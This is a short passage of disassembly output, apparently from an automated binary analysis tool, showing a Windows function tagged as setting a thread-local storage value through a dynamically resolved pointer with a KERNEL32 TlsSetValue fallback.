ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1014e306
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10173ef8
push 0x10173ef0
push 0x10173ef8
push 0x22
call fcn.1014ec6a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1014e340
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]